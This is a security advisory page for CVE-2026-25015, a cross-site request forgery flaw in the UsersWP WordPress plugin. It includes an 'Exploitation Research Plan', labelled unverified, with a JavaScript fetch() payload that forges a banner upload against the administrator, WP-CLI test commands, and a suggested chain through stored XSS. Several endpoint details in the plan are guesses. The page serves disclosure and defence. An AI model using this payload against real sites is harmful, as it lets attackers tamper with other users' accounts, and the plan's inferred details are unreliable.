CVE-2026-25015

UsersWP <= 1.2.53 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.2.54
Patched in
6d
Time to patch

Description

The UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WP plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.53. This is due to missing or incorrect nonce validation on the ajax_avatar_banner_upload() function. This makes it possible for unauthenticated attackers to upload banners for other users granted they can trick an authenticated site user into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.53
PublishedJanuary 28, 2026
Last updatedFebruary 2, 2026
Affected pluginuserswp

What Changed in the Fix

Changes introduced in v1.2.54

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-25015 (UsersWP CSRF) ## 1. Vulnerability Summary The **UsersWP** plugin (<= 1.2.53) is vulnerable to **Cross-Site Request Forgery (CSRF)** in its AJAX handler for profile image uploads. Specifically, the function `ajax_avatar_banner_upload()` fails to perform …

Show full research plan

Exploitation Research Plan: CVE-2026-25015 (UsersWP CSRF)

1. Vulnerability Summary

The UsersWP plugin (<= 1.2.53) is vulnerable to Cross-Site Request Forgery (CSRF) in its AJAX handler for profile image uploads. Specifically, the function ajax_avatar_banner_upload() fails to perform any nonce validation (check_ajax_referer) and likely fails to verify that the logged-in user has permission to modify the target profile (uid). This allows an unauthenticated attacker to trick an authenticated user into uploading a profile banner or avatar to an arbitrary user's account.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: uwp_ajax_avatar_banner_upload (Inferred from function name)
  • HTTP Method: POST (Multipart/form-data)
  • Vulnerable Parameter: uid (or user_id)
  • Payload Parameters:
    • action: uwp_ajax_avatar_banner_upload
    • uid: The ID of the target user whose banner will be changed (e.g., 1 for the site administrator).
    • type: banner (or avatar).
    • file: The image file data.
  • Authentication Level: Requires the victim to be logged in (any role with profile editing capabilities, typically any registered user).
  • Preconditions: The attacker must trick a logged-in user into visiting a malicious page that executes the exploit script.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with the action uwp_ajax_avatar_banner_upload.
  2. Registration: The action is registered (likely in a class named UsersWP_AJAX or UsersWP_Image_Handler) using add_action('wp_ajax_uwp_ajax_avatar_banner_upload', ...).
  3. Vulnerable Sink: The ajax_avatar_banner_upload() function is called.
  4. Missing Check: The function proceeds to process $_FILES['file'] and $_POST['uid'] without calling check_ajax_referer() or checking wp_verify_nonce().
  5. Modification: The function uses update_user_meta or a similar filesystem function to save the uploaded image for the user ID provided in the uid parameter.

4. Nonce Acquisition Strategy

While the vulnerability is based on missing nonce validation, for research and verification purposes (to prove that a nonce is not required), the following strategy can be used to check for existing nonces in the UsersWP context:

  1. Identify the Shortcode: The [uwp_profile] shortcode enqueues the necessary scripts and localizes the data.
  2. Setup: Create a page containing the shortcode:
    wp post create --post_type=page --post_status=publish --post_title="Profile" --post_content='[uwp_profile]'
    
  3. Execution: Navigate to this page as a logged-in user.
  4. Extraction: Use the browser console (or browser_eval) to find localized variables. Verbatim from assets/js/users-wp.js, the plugin uses uwp_localize_data.
    // Check for the general basicNonce
    browser_eval("window.uwp_localize_data?.basicNonce")
    
  5. Comparison: Observe that the uwp_ajax_avatar_banner_upload endpoint does not actually require this nonce in the POST body.

5. Exploitation Strategy

Since the browser's SameSite=Lax policy prevents simple form-based CSRF for multipart uploads, the most effective exploit uses fetch() within the victim's session to forge the request.

Exploit Payload (JavaScript)

async function exploit() {
    const targetUserId = 1; // Administrator
    const ajaxUrl = '/wp-admin/admin-ajax.php';
    
    const formData = new FormData();
    formData.append('action', 'uwp_ajax_avatar_banner_upload');
    formData.append('uid', targetUserId);
    formData.append('type', 'banner');
    
    // Create a fake 1x1 pixel JPEG blob
    const content = new Uint8Array([0xFF, 0xD8, 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD9]);
    const blob = new Blob([content], { type: 'image/jpeg' });
    formData.append('file', blob, 'banner_pwned.jpg');

    await fetch(ajaxUrl, {
        method: 'POST',
        body: formData,
        credentials: 'include' // Ensures cookies are sent
    });
    
    console.log("Exploit sent for User ID: " + targetUserId);
}
exploit();

6. Test Data Setup

  1. Target User: An administrator account (usually ID 1).
  2. Victim User: A regular subscriber account (e.g., username victim, ID 2).
  3. Plugin State: Ensure UsersWP is active and profile pages are accessible.
  4. Environment:
    wp user create victim victim@example.com --role=subscriber --user_pass=password123
    

7. Expected Results

  • The AJAX request returns a 200 OK status, likely with a JSON response indicating success (e.g., {"success":true,"data":{...}}).
  • The uwp_banner meta field for the target user (ID 1) is updated with a path to the newly uploaded image.
  • If the target visits their profile page, the banner reflects the attacker's uploaded image.

8. Verification Steps

After executing the exploit via browser_eval or a hosted HTML page:

  1. Check User Meta: Use WP-CLI to verify the banner was updated for the admin.
    wp user meta get 1 uwp_banner
    
  2. Verify File Existence: Check if the file referenced in the meta exists in the uploads directory.
    ls -la wp-content/uploads/userswp/
    
  3. Verify Privilege Escalation/Bypass: Confirm that a request sent from the Subscriber session (ID 2) was able to change the Administrator's (ID 1) metadata.

9. Alternative Approaches

  • Parameter Variation: If uid fails, try user_id.
  • Action Discovery: If uwp_ajax_avatar_banner_upload is incorrect, check the network tab while performing a legitimate banner upload as an admin to capture the exact action name and parameter keys.
  • XSS Chain: If the site has a stored XSS vulnerability, the payload can be injected to automatically execute the fetch request whenever any user (including admins) views a specific page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.